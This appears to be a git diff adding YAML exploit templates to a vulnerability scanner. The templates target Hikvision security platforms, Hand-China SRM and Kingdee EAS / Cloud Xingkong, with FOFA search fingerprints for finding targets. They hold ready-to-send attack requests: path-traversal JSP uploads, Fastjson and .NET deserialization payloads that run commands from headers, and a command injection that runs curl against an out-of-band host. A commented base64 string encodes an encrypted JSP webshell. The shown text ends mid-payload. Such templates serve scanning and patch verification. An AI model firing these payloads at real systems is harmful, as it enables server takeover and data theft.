web.body="汉得SRM" + tags: hand-china,bypass,login + created: 2023/09/02 + +rules: + r0: + request: + method: GET + path: /tomcat.jsp?dataName=role_id&dataValue=1 + expression: response.status == 200 && response.body.bcontains(b'Server Info:') && response.body.bcontains(b'SRM SERVER Info.') + r1: + request: + method: GET + path: /tomcat.jsp?dataName=user_id&dataValue=1 + expression: response.status == 200 && response.body.bcontains(b'Server Info:') && response.body.bcontains(b'SRM SERVER Info.') + r2: + request: + method: GET + path: /main.screen + follow_redirects: true + expression: response.status == 200 +expression: r0() && r1() && r2() diff --git a/webscan/pocs/hikvision-anfang-report-fileupload.yaml b/webscan/pocs/hikvision-anfang-report-fileupload.yaml new file mode 100644 index 0000000..21ab29c --- /dev/null +++ b/webscan/pocs/hikvision-anfang-report-fileupload.yaml @@ -0,0 +1,42 @@ +id: hikvision-anfang-report-fileupload + +info: + name: HiKVISION 综合安防管理平台 report 任意文件上传 + author: zan8in + severity: critical + verified: true + description: | + HiKVISION 综合安防管理平台 report接口存在任意文件上传漏洞，攻击者通过构造特殊的请求包可以上传任意文件，获取服务器权限 + fofa: app="HIKVISION-综合安防管理平台" + fofa: title="综合安防管理平台" + tags: hikvision,fileupload + created: 2023/08/09 + +set: + r1: randomLowercase(4) + r2: randomInt(40000, 44800) + r3: randomInt(40000, 44800) + rboundary: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /svm/api/external/report + headers: + Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}} + body: "\ + ------WebKitFormBoundary{{rboundary}}\r\n\ + Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/{{r1}}.jsp\"\r\n\ + Content-Type: application/zip\r\n\ + \r\n\ + <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\ + \r\n\ + ------WebKitFormBoundary{{rboundary}}--\r\n\ + " + expression: response.status == 200 && response.body.bcontains(b'"code":') && response.body.bcontains(b'"data":') && response.body.bcontains(b'"msg":') + r1: + request: + method: GET + path: /portal/ui/login/..;/..;/{{r1}}.jsp + expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3))) +expression: r0() && r1() diff --git a/webscan/pocs/hikvision-applyautologinticket-rce.yaml b/webscan/pocs/hikvision-applyautologinticket-rce.yaml new file mode 100644 index 0000000..e33f5ed --- /dev/null +++ b/webscan/pocs/hikvision-applyautologinticket-rce.yaml @@ -0,0 +1,27 @@ +id: hikvision-applyautologinticket-rce + +info: + name: 海康威视综合安防管理平台 applyAutoLoginTicket RCE + author: free2e + severity: critical + verified: true + description: | + 海康综合安防管理平台 applyAutoLoginTicket 接口存在 fastjson 反序列化漏洞。攻击者可在未鉴权的情况下，对目标服务器进行远程命令执行，从而获取服务器权限。 + fofa: app="HIKVISION-综合安防管理平台" + fofa: icon_hash="136203464" + hunter: web.icon="753466eed2bbef2bae18b55994d1d2ae" + tags: hikvision,rce + created: 2024/06/11 + +rules: + r0: + request: + method: POST + path: /bic/ssoService/v1/applyAutoLoginTicket + headers: + Content-Type: application/json + cmd: ipconfig + body: | + {"CTGT":{ "a": {"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}} + expression: response.status == 200 && response.body.bcontains(b'Windows IP') +expression: r0() diff --git a/webscan/pocs/hikvision-fastjson-rce.yaml b/webscan/pocs/hikvision-fastjson-rce.yaml new file mode 100644 index 0000000..470de3f --- /dev/null +++ b/webscan/pocs/hikvision-fastjson-rce.yaml @@ -0,0 +1,30 @@ +id: hikvision-fastjson-rce + +info: + name: ​海康威视综合安防管理平台 Fastjson 远程命令执行漏洞 + author: zan8in + severity: critical + verified: true + description: | + 海康威视综合安防管理平台存在Fastjson远程命令执行漏洞，该漏洞可执行系统命令，直接获取服务器权限。 + fofa: app="HIKVISION-综合安防管理平台" + fofa: icon_hash="136203464" + hunter: web.icon="753466eed2bbef2bae18b55994d1d2ae" + reference: + - https://mp.weixin.qq.com/s/khra2Z6U57kktxGooUEu-A + - https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247483899&idx=1&sn=dfd2e5c6abf054c7d8982b20cd9063f4 + tags: hikvision,fastjson,rce + created: 2024/01/06 + +rules: + r0: + request: + method: POST + path: /bic/ssoService/v1/applyCT + headers: + Content-Type: application/json + Testcmd: whoami + body: | + {"CTGT":{ "a": {"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$ff$c1$b3$c0$ca$J$ac$ca$a19$d0$c2$w$80$m$f5$7c$TY$5b$cd$5c$5cC$zO$dedQ$9d$a7$aee$d4u$O$b5Y$M$faO$60$7d$fc$E6$c4$83$e28Zsh$cba$e38$da$D$j9l$caas$O$9d$T$b8$89$e2$m$d7Jl$d7$c6P5w$M$VA$ff$E$b6$e4$d0$e50$Q$c5$97$85$ff$m$cfe$_$ae$9e$3c$b8$b8$ec$85$t$b2$f0la$8d$d9$D$99pYG$f0$earm$a5$a7$83$e9$p$I$d1$w$d0$c9O$cdZ$82$f9$84$f1E$84$ecZ$ccB$3d5$edZ$94S$dbV$90t$r$c9W$93$86$d9$84$ec$wh$84$f8$M$e6$e2$m$e6$e1$k$92$ba$9f$d0$7f$M$L$f0$M$W$e2$3c$Wq$d5X$ccu$e2Zn$L$96p$fb$b0$94$bb$h$cb$b8$a3$Iq$e7Q$e7$aa$40$bd$ab$92$90U$8b$88k9$9a$5c$x$b0$dc$b5$Ks$5d$eb$b0$c2$d5$86$h$5d$j$uqua$jy$b9$c6$b5$8d$feU$ed$b5$bb$ae$fc$o$aa9$k$L$b9K4$t$7c$f6$8e$c7$ed$3c$ee$a0$v$A$da$ca$d4d$b3x$f4s$X$f0$a4$3d$Yv$bc$84C$dby$uuR$c5$L$f0$bd$I$ef$r$g$3fn$5b$Q$f87$bc$ad$q$c3$e6y$82$d4$bb$a0$fe$H$d8$3e$ebc$Z$Q$A$A"}}} + expression: response.status == 200 && response.body.bcontains(b'authority\\system') +expression: r0() diff --git a/webscan/pocs/hikvision-files-upload.yaml b/webscan/pocs/hikvision-files-upload.yaml new file mode 100644 index 0000000..d3ec27b --- /dev/null +++ b/webscan/pocs/hikvision-files-upload.yaml @@ -0,0 +1,37 @@ +id: hikvision-files-upload + +info: + name: Hikvision Files Upload + author: ciyixi + severity: critical + verified: true + tags: hikvision,upload + created: 2023/06/25 + +set: + rboundary: randomLowercase(8) + randbody: randomLowercase(32) + randstr: randomLowercase(10) + # bbody: base64Decode("PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0NCiU+PCV0cnl7Ynl0ZVtdIGRhdGE9bmV3IGJ5dGVbSW50ZWdlci5wYXJzZUludChyZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1MZW5ndGgiKSldO2phdmEuaW8uSW5wdXRTdHJlYW0gaW5wdXRTdHJlYW09IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTtpbnQgX251bT0wO3doaWxlICgoX251bSs9aW5wdXRTdHJlYW0ucmVhZChkYXRhLF9udW0sZGF0YS5sZW5ndGgpKTxkYXRhLmxlbmd0aCk7ZGF0YT14KGRhdGEsIGZhbHNlKTtpZiAoc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoInBheWxvYWQiKT09bnVsbCl7c2Vzc2lvbi5zZXRBdHRyaWJ1dGUoInBheWxvYWQiLG5ldyBYKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5RKGRhdGEpKTt9ZWxzZXtyZXF1ZXN0LnNldEF0dHJpYnV0ZSgicGFyYW1ldGVycyIsIGRhdGEpO09iamVjdCBmPSgoQ2xhc3Mpc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTtqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQ9bmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7Zi5lcXVhbHMoYXJyT3V0KTtmLmVxdWFscyhwYWdlQ29udGV4dCk7Zi50b1N0cmluZygpO3Jlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpLndyaXRlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKTt9IH1jYXRjaCAoRXhjZXB0aW9uIGUpe30NCiU+") +rules: + r0: + request: + method: POST + path: "/center/api/files;.js" + headers: + Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}} + body: "\ + ------WebKitFormBoundary{{rboundary}}\r\n\ + Content-Disposition: form-data; name=\"upload\";filename=\"../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/{{randstr}}.jsp\"\r\n\ + Content-Type:image/jpeg\r\n\ + \r\n\ + <%out.println(\"{{randbody}}\");%>\r\n\ + ------WebKitFormBoundary{{rboundary}}--\r\n\ + " + expression: response.status == 200 + r1: + request: + method: GET + path: /clusterMgr/{{randstr}}.jsp;.js + expression: response.status == 200 && response.body.bcontains(bytes(randbody)) +expression: r0() && r1() diff --git a/webscan/pocs/jindie-eas-autologin-rce.yaml b/webscan/pocs/jindie-eas-autologin-rce.yaml new file mode 100644 index 0000000..26ce54d --- /dev/null +++ b/webscan/pocs/jindie-eas-autologin-rce.yaml @@ -0,0 +1,29 @@ +id: jindie-eas-autologin-rce + +info: + name: 金蝶 EAS Cloud autoLogin.jsp 远程代码执行漏洞 + author: avic123 + severity: critical + verified: true + description: |- + 金蝶 EAS Cloud 是金蝶软件公司推出的一套企业级应用软件套件，旨在帮助企业实现全面的管理和业务流程优化。金蝶 EAS Cloud 的autoLogin.jsp 路径存在远程代码执行漏洞，攻击者可以利用这个漏洞注入恶意代码，从而控制服务器，进行包括数据窃取、网站篡改、服务器资源滥用等在内的多种恶意行为。 + fofa: app="Kingdee-EAS" + reference: + - https://vip.bdziyi.com/58091/ + tags: jindie,EAS,rce + created: 2025/8/19 + +set: + hostname: request.url.host +rules: + r0: + request: + method: POST + path: /easportal/autoLogin.jsp + headers: + Content-Type: application/x-www-form-urlencoded + body: | + defaultPage=/autoLogin.jsp%3fdefaultPage%3d/BIReport%26json%3d1%2529%253Bvar%2520cc%253Dnew%2520Array%2528%2527%252Fbin%252Fsh%2527%252C%2520%2527-c%2527%252C%2520%2527curl%2520http%253A%252F%252F{{{{oob.DNS}}}}%252FQ12345%2527%2529%253Bjava.lang.Runtime.getRuntime%2528%2529.exec%2528cc%2529%253B%252F% + expression: response.status == 200 && oobCheck(oob.ProtocolDNS, 5) + +expression: r0() diff --git a/webscan/pocs/jindie-yunxingkong-dynamicformservice-rce.yaml b/webscan/pocs/jindie-yunxingkong-dynamicformservice-rce.yaml new file mode 100644 index 0000000..f457ddc --- /dev/null +++ b/webscan/pocs/jindie-yunxingkong-dynamicformservice-rce.yaml @@ -0,0 +1,32 @@ +id: jindie-yunxingkong-dynamicformservice-rce + +info: + name: 金蝶云星空DynamicFormService.CloseForm.common.kdsvc远程代码执行漏洞 + author: avic123 + severity: critical + verified: true + description: |- + Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc接口处存在远程代码执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统命令，写入后门文件，获取服务器权限 + fofa: app="金蝶云星空-管理中心" + reference: + - https://cn-sec.com/archives/3926732.html + tags: jindie,yunxingkong,rce + created: 2025/8/20 + +set: + hostname: request.url.host + +rules: + r0: + request: + method: POST + path: /Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc + headers: + Content-Type: text/json + xxxxx: ipconfig + body: | + {"ap0": "AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeA